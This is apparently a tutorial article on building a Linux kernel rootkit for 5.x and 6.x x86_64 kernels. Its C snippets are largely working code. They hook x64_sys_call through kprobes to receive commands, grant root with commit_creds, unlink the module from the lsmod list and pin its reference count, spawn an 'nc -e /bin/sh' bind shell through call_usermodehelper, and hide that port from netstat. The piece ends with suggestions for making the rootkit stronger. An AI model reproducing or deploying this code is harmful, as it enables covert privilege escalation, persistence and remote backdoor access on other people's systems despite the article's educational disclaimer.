Recently, I learned from an online news portal that a new Linux rootkit called Pumakit has been discovered. I had never dealt with the Linux kernel before, and decided to comprehend its operating principle. This article discusses distinctive features of the Linux kernel identified when I was writing my own rootkit for its modern versions: 5.x and 6.x (x86_64).
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
Patch that envenoms life
When I was researching rootkits for Linux, I frequently visited GitHub and examined similar programs in order to get an understanding of their structure and functionality. It caught my eye that almost all rootkit implementations intercept syscalls by rewriting the sys_call_table
.

However, since recently this method doesn’t work because the Linux developer community released a patch, and the above-mentioned table isn’t used anymore:
The sys_call_table is no longer used for system calls, but kernel/trace/trace_syscalls.c still wants to know the system call address.
Kprobes is above all things
Among other things, the Linux kernel includes debugging mechanisms sequentially migrating from version to version. Kprobes was introduced in the Linux kernel v. 2.6.9. Kprobes is a dynamic kernel debugging tool making it possible to set breakpoints on writable memory areas and process them.

The syntax of the debugging mechanism is quite simple:
// Kprobe structure is described in the file include/linux/kprobes.hstatic struct kprobe un = { // Place where breakpoint is to be set (symbol exported by kernel) .symbol_name = "kernel_clone", // Breakpoint handler .pre_handler = intercept,};static int __init init(void) {// Registering ‘probe’register_kprobe(&un);...}static void __exit bye(void) {// Unregistering ‘probe’unregister_kprobe(&un);...}
By the way, you can check the kallsyms
file to find out whether the symbol was exported by the kernel or not:
cat /proc/kallsyms | grep "symbol name"
Intercepting x64_sys_call
The popular diamorphine rootkit communicates with the user using an intercepted syscall: kill
. However, to do this, it sets a hook on sys_call_table
, which is no longer relevant. So, how can one track system calls? The answer is simple: by intercepting x64_sys_call
.
The point is that x64_sys_call
is involved when any syscall is made. This is a kind of wrapper over each system call that connects macros they’re implemented as.
// regs are system call arguments// nr is the system call numberlong x64_sys_call(const struct pt_regs *regs, unsigned int nr){ switch (nr) { // System calls implemented as macros in the form “SYSCALL_DEFINEX(name, args...)” // where X is the number of arguments in the syscall #include <asm/syscalls_64.h> default: return __x64_sys_ni_syscall(regs); }};
Importantly, x64_sys_call
is also exported by the kernel.

Great, now you can use it for communication with the user. Let’s take a closer look at the echo
command.

Echo
uses write
, which is exactly what you need. Let’s write a handler for user commands:
// Identifier of the command that must be caught by the command handler#define ROOT "wanna_root"// Your probestatic struct kprobe un = { .symbol_name = "x64_sys_call", // Handler .pre_handler = intercept,};static int intercept(struct kprobe *p, struct pt_regs *regs) { // Checking the number of the system call passed to x64_sys_call if (regs->si == __NR_write){ // Saving parameters passed with write struct pt_regs *pRegs = (struct pt_regs*)regs->di; // If text passed to echo matches the command name, then process it if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {...Function executed when the module is loadedstatic int __init init(void) {...int err; err = register_kprobe(&un); if (err < 0) { pr_err("Failed to register kprobe, error: %d\n", err); return err; }...}
In this particular case, you don’t have to use copy_from_user
since the information is already in kernel mode.
Elevating privileges and removing your rootkit from the list of loaded modules
All system calls are performed in the context of a certain process; therefore, you can access the process memory and environment at the time of syscall execution. Each process is represented in the kernel by a large structure called struct
. Inside this structure, there is a field responsible for credentials of this process, and you can access it.

Since you are in kernel mode, you don’t have any problems with privilege escalation. All you have to do is substitute this structure with your own one, and voila!
static int root_func(void){ struct cred *newcreds; // Initializing structure newcreds = prepare_creds(); if (newcreds == NULL){ pr_alert("can't prepare creds\n"); return 1; } // Granting root to yourself newcreds->uid.val = newcreds->gid.val = 0; // euid and egid are ‘effective’ privileges (i.e. privileges of the started process) newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; // Making required changes commit_creds(newcreds); return 0;}
info
To avoid conflicts, you should declare all functions and global variables in your kernel module with the static
prefix. This is required because the kernel exports all symbols to the global scope, and user’s careless behavior can result in a name conflict.
To remove your rootkit from the list of loaded modules, just a few lines of code are required. Your rootkit is a kernel
, and it’s also represented by a special structure in kernel memory. So, you simply remove it from the linked list of loaded modules:
// Hiding form the lsmod command that displays all modules loaded to memorystatic inline void hide_func(void){ // THIS_MODULE is a global macro making it possible to access the structure representing your module // The list field contains a linked list of modules loaded to kernel memory module_previous = THIS_MODULE->list.prev; // unlink module_previous->next = THIS_MODULE->list.next; hidden=1;}// Getting back on trackstatic inline void show_func(void){ // Required to avoid segfault if (module_previous !=NULL && hidden==1){ module_previous->next = &THIS_MODULE->list; hidden=0; }}
It must be noted that other rootkit implementations use the list_del
function that removes an element from the list, but recently a check for list
was added to it; therefore, your module has to be unlinked manually.
Increasing module’s reference count
The structure of your module (described in the file /
) includes a magic field called refcnt
; it shows how many system components are currently using this module (i.e. reflects its ‘popularity’).
When a module is removed from the list, the system checks this field: if its value is positive, the module isn’t removed from the kernel. By default, this value is 1, but you can change it:
static inline void no_rm_func(void){ atomic_t *pRefcnt = &THIS_MODULE->refcnt; // Linux kernel has a separate interface for atomic data atomic_set(pRefcnt, 1337);}static inline void yes_rm_func(void){ atomic_t *pRefcnt = &THIS_MODULE->refcnt; // Returning to the original state atomic_set(pRefcnt, 1);}
Implementing a backdoor and hiding from netstat
Backdoor
Let’s try to create a remote shell as soon as the rootkit is loaded to the kernel. To perform this trick, you have to find out how to identify free ports in the system. Let’s look into the kernel and review the description of the TCPv4 protocol.

TCPV4 uses the inet_csk_get_port(
function for this purpose; it returns 0 if the specified port
is free.
Let’s write a function that searches for a free port in the system.
static int getFreePort(void){ // Create a temporary socket to find a free port sock_create_kern(&init_net, PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock_tmp); // Get initialized sock structure sk = sock_tmp->sk; int candidate = 1024; int max_port = 65536; for (int i = candidate; i < max_port; i++) { // If port is free... if (!inet_csk_get_port(sk, i) ) { candidate = i; // ... free up a temporary socket required to identify a free port sock_release(sock_tmp); sk = NULL; sock_tmp = NULL; pr_info("candidate: %d\n", candidate); return candidate; } } pr_info("BAD: %d\n", candidate); return -1;}
Now you know how to identify a free port; all that remains is to start a remote shell:
// candidate is the port for remote shellstatic void run_shell_nodelay(int candidate){ char tmp[100]; //Create command that starts a remote shell snprintf(tmp, sizeof(tmp), "nc -e /bin/sh -p %d -l", candidate); argv[2] = tmp; // Directory that will be searched for required binaries static char *envp[] = {"PATH=/bin:/sbin",NULL}; // call_usermodehelper starts a process in user space // The UMH_WAIT_EXEC flag makes the kernel wait only for the command to be executed, not more if (call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)) pr_alert("umodehlpr returned error\n");}
info
If the call_usermodehelper
function is called simultaneously with using the kprobes mechanism, this significantly affects kernel downtime: in the first case, the kernel performs resource-consuming operations to create and initialize a process; while in the second case, interrupts are disabled on the processor to ensure function interception integrity.
To complete the picture, I provide the code that implements a shell at user request.
static int shll_func(const char *from_user_port){ char buf[10] = {'\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00'}; char* endptr = "\x00"; // Parsing the port passed to you by the user strncpy(buf, from_user_port + 11 , 5); port = simple_strtoul(buf, &endptr , 10); pr_info("port is: %lu\n",port); if (port < 1024 || port > 65536) return -1; // Placing run_shell_delay to the global kernel queue schedule_work(&wrk); for delayed execution INIT_WORK(&wrk, run_shell_delay); return 0;}
Netstat
Netstat is a command that calls the tcp4_seq_show(
function, which, in turn, displays information about existing connections.

Note the beginning of this function:
// Socket from where information will be retrievedstruct sock *sk = v; seq_setwidth(seq, TMPSZ - 1); // If the socket value is SEQ_START_TOKEN, then the initial string will be displayed instead of it if (v == SEQ_START_TOKEN) { seq_puts(seq, " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " "inode"); goto out; }
Let’s try to use this feature to disguise the shell:
static int tcp_hid_func(struct kprobe *p, struct pt_regs *regs){ // If the entry from netstat is not a header displayed by the command if (regs->si != SEQ_START_TOKEN) { // Getting a socket whose information should be displayed on the screen struct sock *sk = (struct sock *)regs->si; // Hiding the required connection if (sk && sk->sk_num == hid_port) { // Here's a dirty hack... You say that this is the header of the netstat command :) regs->si = (unsigned long)SEQ_START_TOKEN; } } return 0;}

How to enhance a rootkit further?
In fact, there are plenty of things that can be improved. For example, the rootkit is written for x86_64 only; the getFreePort
function doesn’t guarantee that the found free port will be free when you start a remote shell; only one port can be disguised at a time; and the nc
command includes the -e
option not in all distributions so that you might have to download ncat and polish the code. Generally speaking, it’s all in your hands.
In conclusion, I would like to note that the kernel is an open-source project, and studying it is a great pleasure, especially taking the availability of fundamental works written by outstanding researchers.
www
The rootkit source code is available on my GitHub page.